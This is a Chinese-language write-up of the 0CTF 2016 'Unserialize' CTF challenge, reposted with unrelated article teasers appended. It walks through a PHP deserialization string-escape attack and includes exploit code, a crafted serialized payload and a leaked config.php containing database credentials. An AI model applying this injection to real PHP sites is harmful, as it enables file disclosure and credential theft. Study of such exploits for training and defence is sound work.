[CTFTraining] 0CTF 2016 Unserialize

news/2024/5/19 22:15:37 标签: php, web安全, CTF

​ 打开环境后是这样:
在这里插入图片描述
​ 找了挺多地方没啥头绪,干脆直接上dirsearch
在这里插入图片描述
​ 发现有源码泄露,直接下载下来分析。先进行自动审计:
在这里插入图片描述
​ 发现有疑似的漏洞,但根据题目来看是反序列化的,还是要自行进行审计,在profile.php中有个unserialize反序列化,打开文件后还看到一个file_get_contents读文件:
在这里插入图片描述

profile.php

php"><?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

​ profile信息存在,则后面有个else 。 可能这就是最终利用到的代码:

php">$photo = base64_encode(file_get_contents($profile['photo']));

​ 注意一下update.php,它做了一个上传的限制:

php"><?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

​ 注意到class.php中的数据库查询有个过滤规则,这里刚刚好拿来逃逸利用
在这里插入图片描述
​ 然后在config.php中发现:
在这里插入图片描述

​ 看到这里有个flag 应该是要class调用config.php进行读取了

​ 访问register.php注册一个账号,然后登录可更新信息:

在这里插入图片描述
​ 果然把 我们的photo 替换成了hacker
在这里插入图片描述

​ exp:

php"><?php
 
class b
{
	public $phone = "12345678901";
	public $email = "123@qq.com";
	public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
	public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;
 
?>

​ 输出结果:

O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

​ 再次更新时抓包:

在这里插入图片描述
Content-Disposition: form-data; name="nickname"替换数据并使用数组绕过:

在这里插入图片描述
​ 然后访问profile.php,查看源码得到:

data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezk0NThkMzRiLWVmOTUtYTAzMC03MGM5LWMxNDkzZDZkMjAxN30nOwo/Pgo=

base64解码得到flag:

在这里插入图片描述


http://www.niftyadmin.cn/n/383496.html

相关文章

国际儿童节

节日由来 国际儿童节儿童作品画(11张) 国际儿童节的设立&#xff0c;和发生在二战期间一次屠杀——利迪策惨案有关。1942年6月10日&#xff0c;德国法西斯枪杀了捷克利迪策村16岁以上的男性公民140余人和全部婴儿&#xff0c;并把妇女和90名儿童押往集中营。村里的房舍、建筑物…

redis事务详解,带你搞懂redis的事务

文章目录 官方文档一、为什么要用事务二、事务的用法1、使用实例2、事务取消3、watch命令 三、事务异常1、在执行exec之前发生错误2、在执行exec之后发生错误3、为什么不回滚 官方文档 https://redis.io/docs/manual/transactions/ 一、为什么要用事务 Redis的单个命令是原子…

百度商业AI技术创新大赛火热进行中,携手专家大咖一起创新为更好!

百度商业AI技术创新大赛火热进行中 来自百度、中国人工智能学会 及NVIDIA的专家大咖纷纷送上寄语 希望与充满创新思维的年轻人一起 探讨AI技术的创新应用 挖掘AIGC在商业领域发展的更多可能 开启中国人工智能发展新篇章&#xff01; -戴琼海- 国务院参事 CAAI理事长 …

centos7使用docker compose部署ELK

说明&#xff1a;1、一定要先不要配置那么多配置文件&#xff0c;去除掉一些&#xff0c;先让docker compose启动相关服务能访问的时候&#xff0c;使用拷贝方法&#xff0c;把相关的配置文件拷贝出来在外面修改&#xff0c;这样保险一些&#xff0c;不然容易配置文件错误无法启…

在spring容器启动后监听事件ApplicationReadyEvent

概述 经常会在业务中遇到需要在项目启动后刷新/预热一些数据的要求。 常见可以监听ApplicationReadyEvent和ContextRefreshedEvent. 但是因为常见的springboot项目都依赖的springmvc&#xff0c;所以实际上有2个容器&#xff0c;spring的ioc容器是springmvc的父容器。 而且C…

MongoDB 基本概念

MongoDB 部署模型 在生产环境中&#xff0c;MongoDB 经常会部署成一个三节点的复制集&#xff0c;或者一个分片集群。 我们先来看左边&#xff0c;当 MongoDB 部署为一个复制集时&#xff0c;应用程序通过驱动&#xff0c;直接请求复制集中的主节点&#xff0c;完成读写操作。另…

(转载)多种群遗传算法的函数优化算法(matlab实现)

以下内容大部分来源于《MATLAB智能算法30个案例分析》&#xff0c;仅为学习交流所用。 1 理论基础 1.1 遗传算法早熟问题 遗传算法是一种借鉴生物界自然选择和进化机制发展起来的高度并行、随机、自适应的全局优化概率搜索算法。由于优化时不依赖于梯度&#xff0c;具有很强…

【Linux系统基础快速入门详解】生产环境磁盘分区多种方案

在Linux系统的生产环境中,磁盘分区的设计对系统的性能和可靠性有重要影响。以下是几种常见的磁盘分区方案: 1. 单一分区 单一分区是最简单的磁盘分区方案,它将整个磁盘作为一个分区。这种方案适用于简单的应用场景,例如一些小型的测试环境或开发环境。但是,在生产环境中…